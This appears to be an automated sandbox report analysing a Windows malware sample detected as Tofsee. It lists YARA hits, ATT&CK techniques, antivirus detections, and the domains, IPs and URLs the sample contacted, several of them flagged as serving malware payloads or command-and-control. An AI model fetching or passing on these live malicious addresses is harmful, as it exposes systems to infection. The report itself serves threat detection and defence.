Source: Yara match	File source: Process Memory Space: 6A0A.exe PID: 1056, type: MEMORYSTR

Yara detected Tofsee

Show sources

Source: Yara match	File source: 30.2.7DF2.exe.2f00e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.7DF2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.7DF2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.7DF2.exe.4900000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.398935339.0000000004900000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7DF2.exe PID: 3464, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\7DF2.exe

Code function: 30_2_004088B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,

30_2_004088B0

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts1	Windows Management Instrumentation1	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools31	OS Credential Dumping1	System Time Discovery2	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer14	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API11	Application Shimming1	Application Shimming1	Deobfuscate/Decode Files or Information1	Input Capture1	Account Discovery1	Remote Desktop Protocol	Data from Local System3	Exfiltration Over Bluetooth	Encrypted Channel22	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution1	Valid Accounts1	Valid Accounts1	Obfuscated Files or Information3	Credentials in Registry1	File and Directory Discovery4	SMB/Windows Admin Shares	Screen Capture1	Automated Exfiltration	Non-Standard Port11	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Service Execution3	Windows Service4	Access Token Manipulation1	Software Packing14	NTDS	System Information Discovery167	Distributed Component Object Model	Input Capture1	Scheduled Transfer	Non-Application Layer Protocol4	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Windows Service4	Timestomp1	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol25	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Process Injection313	DLL Side-Loading1	Cached Domain Credentials	Security Software Discovery861	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Virtualization/Sandbox Evasion451	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading21	Proc Filesystem	Process Discovery13	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Valid Accounts1	/etc/passwd and /etc/shadow	Application Window Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Access Token Manipulation1	Network Sniffing	System Owner/User Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Virtualization/Sandbox Evasion451	Input Capture	Remote System Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Process Injection313	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery
Compromise Hardware Supply Chain	Visual Basic	Scheduled Task	Scheduled Task	Hidden Files and Directories1	GUI Input Capture	Domain Groups	Exploitation of Remote Services	Email Collection	Commonly Used Port	Proxy			Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
t7p1ekMto0.exe	48%	ReversingLabs	Win32.Trojan.Sabsik
t7p1ekMto0.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe	100%	Avira	HEUR/AGEN.1141820
C:\Users\user\AppData\Local\Temp\GPU.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\85C3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\76BD.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6A0A.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CPU.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6209.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\7DF2.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	Metadefender		Browse
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	3%	Metadefender		Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Metadefender		Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Metadefender		Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Metadefender		Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Metadefender		Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\mozglue[1].dll	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\vcruntime140[1].dll	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\softokn3[1].dll	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\msvcp140[1].dll	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\freebl3[1].dll	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\freebl3[1].dll	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
30.2.7DF2.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
0.1.t7p1ekMto0.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.2.t7p1ekMto0.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.1.6209.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.1.wshgiwf.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
25.2.6A0A.exe.4060e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
28.0.76BD.exe.250000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
18.2.wshgiwf.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
25.3.6A0A.exe.4100000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
16.1.wshgiwf.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
30.2.7DF2.exe.2f00e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
30.3.7DF2.exe.4900000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
30.1.7DF2.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.1.t7p1ekMto0.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://swretjhwrtj.gq/GPU.exe	3%	Virustotal		Browse
http://swretjhwrtj.gq/GPU.exe	0%	Avira URL Cloud	safe
http://188.34.200.103/	4%	Virustotal		Browse
http://188.34.200.103/	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://swretjhwrtj.gq/	1%	Virustotal		Browse
http://swretjhwrtj.gq/	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://readinglistforaugust3.xyz/	100%	Avira URL Cloud	malware
http://secureteam.net/webservices/T	0%	Avira URL Cloud	safe
http://swretjhwrtj.gq/CPU.exe	0%	Avira URL Cloud	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://secureteam.net/ErrorReporting.asmx	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://188.34.200.103/vcruntime140.dll	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://188.34.200.103/msvcp140.dll	0%	Avira URL Cloud	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://188.34.200.103/nss3.dll	0%	Avira URL Cloud	safe
http://secureteam.net/webservices/CreateErrorReport	0%	Avira URL Cloud	safe
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	URL Reputation	safe
http://readinglistforaugust3.xyz/reestr.exe	100%	Avira URL Cloud	malware
http://readinglistforaugust3.xyz/raccon.exe	100%	Avira URL Cloud	malware
http://swretjhwrtj.gq/@Rarenut0.exe	0%	Avira URL Cloud	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://secureteam.net/webservices/TU	0%	Avira URL Cloud	safe
https://freegeoip.app/xml/9https://api.telegram.org/botGhttps://api.vimeworld.ru/user/name/1--------	0%	Avira URL Cloud	safe
http://secureteam.net/webservices/Y	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
https://dynamic.t	0%	URL Reputation	safe
http://188.34.200.103/freebl3.dll	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://188.34.200.103/softokn3.dll	0%	Avira URL Cloud	safe
http://188.34.200.103/824	0%	Avira URL Cloud	safe
http://swretjhwrtj.gq	0%	Avira URL Cloud	safe
http://185.49.70.90:2080/5.php	100%	Avira URL Cloud	malware
http://188.34.200.103/mozglue.dll	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pmg.airadvantage.net	66.84.121.114	true	false	high
mtamxiplp003.uth.tmc.edu	129.106.148.13	true	false	high
eur.olc.protection.outlook.com	104.47.6.33	true	false	high
mx.tb.ukmail.iss.as9143.net	212.54.56.11	true	false	high
mx1.pangia.biz	216.163.176.38	true	false	high
mx01.mail.com	74.208.5.22	true	false	high
defeatwax.ru	193.56.146.188	true	false	high
swretjhwrtj.gq	172.67.216.236	true	false	high
eduarroma.tumblr.com	74.114.154.18	true	false	high
winco.net.mx1.greymail.rcimx.net	208.80.202.60	true	false	high
mx-aol.mail.gm0.yahoodns.net	98.136.96.93	true	false	high
www.google.com	216.58.215.228	true	false	high
fastpool.xyz	213.91.128.133	true	false	high
freegeoip.app	172.67.188.154	true	false	high
mx1.mail.yahoo.co.jp	202.93.77.241	true	false	high
readinglistforaugust3.xyz	212.224.105.79	true	false	high
live-com.olc.protection.outlook.com	104.47.73.161	true	false	high
readinglistforaugust2.xyz	95.213.224.6	true	false	high
mine.bmpool.org	157.90.156.89	true	false	high
psci.net.mx1.greymail.rcimx.net	208.80.202.60	true	false	high
newlandcommunities.com.1.arsmtp.com	8.31.233.62	true	false	high
msn-com.olc.protection.outlook.com	104.47.18.97	true	false	high
mx1.seznam.cz	77.75.76.42	true	false	high
mxa-00294d01.gslb.pphosted.com	148.163.153.125	true	false	high
hotmail-com.olc.protection.outlook.com	104.47.74.33	true	false	high
telete.in	195.201.225.248	true	false	high
lakeshoresewing.com	72.52.161.193	true	false	high
mxb-001ada02.gslb.pphosted.com	148.163.133.225	true	false	high
hotmail.com	unknown	unknown	false	high
live.co.uk	unknown	unknown	false	high
yahoo.co.jp	unknown	unknown	false	high
live.com	unknown	unknown	false	high
newlandcommunities.com	unknown	unknown	false	high
canoemail.com	unknown	unknown	false	high
mail.com	unknown	unknown	false	high
ntlworld.com	unknown	unknown	false	high
readinglistforaugust1.xyz	unknown	unknown	false	high
seznam.cz	unknown	unknown	false	high
aol.com	unknown	unknown	false	high
greystar.com	unknown	unknown	false	high
greatlakes.net	unknown	unknown	false	high
winco.net	unknown	unknown	false	high
email.cz	unknown	unknown	false	high
77.52.17.84.in-addr.arpa	unknown	unknown	false	high
hotmail.co.uk	unknown	unknown	false	high
uth.tmc.edu	unknown	unknown	false	high
psci.net	unknown	unknown	false	high
msn.com	unknown	unknown	false	high
api.ip.sb	unknown	unknown	false	high
aurora.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://swretjhwrtj.gq/GPU.exe	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://188.34.200.103/	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://readinglistforaugust3.xyz/	true	Avira URL Cloud: malware	unknown
http://swretjhwrtj.gq/CPU.exe	false	Avira URL Cloud: safe	unknown
http://188.34.200.103/vcruntime140.dll	false	Avira URL Cloud: safe	unknown
http://188.34.200.103/msvcp140.dll	false	Avira URL Cloud: safe	unknown
http://188.34.200.103/nss3.dll	false	Avira URL Cloud: safe	unknown
http://readinglistforaugust3.xyz/reestr.exe	true	Avira URL Cloud: malware	unknown
http://readinglistforaugust3.xyz/raccon.exe	true	Avira URL Cloud: malware	unknown
http://swretjhwrtj.gq/@Rarenut0.exe	false	Avira URL Cloud: safe	unknown
http://188.34.200.103/freebl3.dll	false	Avira URL Cloud: safe	unknown
http://188.34.200.103/softokn3.dll	false	Avira URL Cloud: safe	unknown
http://188.34.200.103/824	false	Avira URL Cloud: safe	unknown
http://185.49.70.90:2080/5.php	true	Avira URL Cloud: malware	unknown
http://188.34.200.103/mozglue.dll	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	6A0A.exe, 00000019.00000002.545171464.000000000508A000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false		high
https://duckduckgo.com/ac/?q=	6A0A.exe, 00000019.00000002.545171464.000000000508A000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 0000000B.00000002.311935732.000002081023D000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 0000000B.00000003.311502485.0000020810260000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 0000000B.00000002.311935732.000002081023D000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designers?	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Traffic/Incidents/	svchost.exe, 0000000B.00000003.311518775.000002081025A000.00000004.00000001.sdmp	false		high
https://t0.tiles.ditu.live.com/tiles/gen	svchost.exe, 0000000B.00000003.311492825.0000020810247000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 0000000B.00000003.311502485.0000020810260000.00000004.00000001.sdmp	false		high
http://www.tiro.com	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false		high
http://swretjhwrtj.gq/	66AE.exe, 00000018.00000002.427076895.0000000002B31000.00000004.00000001.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.goodfont.co.kr	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 0000000B.00000003.311538300.0000020810240000.00000004.00000001.sdmp	false		high
http://secureteam.net/webservices/T	66AE.exe, 00000018.00000002.429442283.0000000002BA1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 0000000B.00000003.311502485.0000020810260000.00000004.00000001.sdmp	false		high
http://www.sajatypeworks.com	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 0000000B.00000003.311518775.000002081025A000.00000004.00000001.sdmp	false		high
http://www.typography.netD	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 0000000B.00000003.311538300.0000020810240000.00000004.00000001.sdmp	false		high
http://secureteam.net/ErrorReporting.asmx	66AE.exe	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn/cThe	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 0000000B.00000003.311538300.0000020810240000.00000004.00000001.sdmp	false		high
http://www.galapagosdesign.com/DPlease	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.com	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
https://appexmapsappupdate.blob.core.windows.net	svchost.exe, 0000000B.00000003.311502485.0000020810260000.00000004.00000001.sdmp	false		high
http://www.urwpp.deDPlease	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	66AE.exe, 00000018.00000002.427076895.0000000002B31000.00000004.00000001.sdmp	false		high
http://www.sakkal.com	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.bingmapsportal.com	svchost.exe, 0000000B.00000002.311878945.0000020810213000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 0000000B.00000002.311935732.000002081023D000.00000004.00000001.sdmp	false		high
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 0000000B.00000003.311502485.0000020810260000.00000004.00000001.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 0000000B.00000003.311553226.0000020810256000.00000004.00000001.sdmp	false		high
http://secureteam.net/webservices/CreateErrorReport	66AE.exe, 00000018.00000002.429442283.0000000002BA1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/ASOFTWARE	66AE.exe, 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 0000000B.00000002.311935732.000002081023D000.00000004.00000001.sdmp	false		high
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	76BD.exe, 0000001C.00000000.391068277.0000000000282000.00000008.00020000.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 0000000B.00000003.311538300.0000020810240000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 0000000B.00000003.311518775.000002081025A000.00000004.00000001.sdmp, svchost.exe, 0000000B.00000003.311538300.0000020810240000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 0000000B.00000002.311878945.0000020810213000.00000004.00000001.sdmp, svchost.exe, 0000000B.00000002.311935732.000002081023D000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000B.00000003.311492825.0000020810247000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 0000000B.00000003.311502485.0000020810260000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000B.00000003.311538300.0000020810240000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 0000000B.00000003.311502485.0000020810260000.00000004.00000001.sdmp	false		high
http://www.carterandcone.coml	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://secureteam.net/webservices/TU	66AE.exe, 00000018.00000002.429442283.0000000002BA1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://freegeoip.app/xml/9https://api.telegram.org/botGhttps://api.vimeworld.ru/user/name/1--------	66AE.exe, 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false		high
http://secureteam.net/webservices/Y	66AE.exe, 00000018.00000002.429442283.0000000002BA1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 0000000B.00000003.311518775.000002081025A000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000B.00000003.311518775.000002081025A000.00000004.00000001.sdmp	false		high
https://dynamic.t	svchost.exe, 0000000B.00000003.311492825.0000020810247000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 0000000B.00000003.311502485.0000020810260000.00000004.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 0000000B.00000002.311921456.0000020810229000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designers8	explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 0000000B.00000003.311518775.000002081025A000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 0000000B.00000003.311502485.0000020810260000.00000004.00000001.sdmp	false		high
http://swretjhwrtj.gq	66AE.exe, 00000018.00000002.431222214.0000000002BEF000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000B.00000003.311518775.000002081025A000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 0000000B.00000003.311518775.000002081025A000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
91.228.218.70	unknown	Ukraine	25229	VOLIA-ASUA	true
188.34.200.103	unknown	Germany	24940	HETZNER-ASDE	false
185.49.70.90	unknown	United Kingdom	28753	LEASEWEB-DE-FRA-10DE	true
74.114.154.18	eduarroma.tumblr.com	Canada	2635	AUTOMATTICUS	false
212.224.105.79	readinglistforaugust3.xyz	Germany	44066	DE-FIRSTCOLOwwwfirst-colonetDE	false
95.213.224.6	readinglistforaugust2.xyz	Russian Federation	49505	SELECTELRU	false
172.67.216.236	swretjhwrtj.gq	United States	13335	CLOUDFLARENETUS	false
172.67.188.154	freegeoip.app	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	470624
Start date:	24.08.2021
Start time:	13:59:20
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 16m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	t7p1ekMto0.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	48
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@73/49@121/10
EGA Information:	Failed
HDC Information:	Successful, ratio: 65.9% (good quality ratio 58%) Quality average: 70.3% Quality standard deviation: 34.6%
HCA Information:	Successful, ratio: 94% Number of executed functions: 144 Number of non-executed functions: 164
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, MusNotifyIcon.exe, backgroundTaskHost.exe, UsoClient.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.211.4.86, 20.50.102.62, 209.197.3.8, 40.112.88.60, 80.67.82.211, 80.67.82.235, 20.82.210.154, 51.11.168.232, 52.182.143.212, 104.26.13.31, 104.26.12.31, 172.67.75.172, 20.54.110.249 Excluded domains from analysis (whitelisted): store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, onedsblobprdcus15.centralus.cloudapp.azure.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, 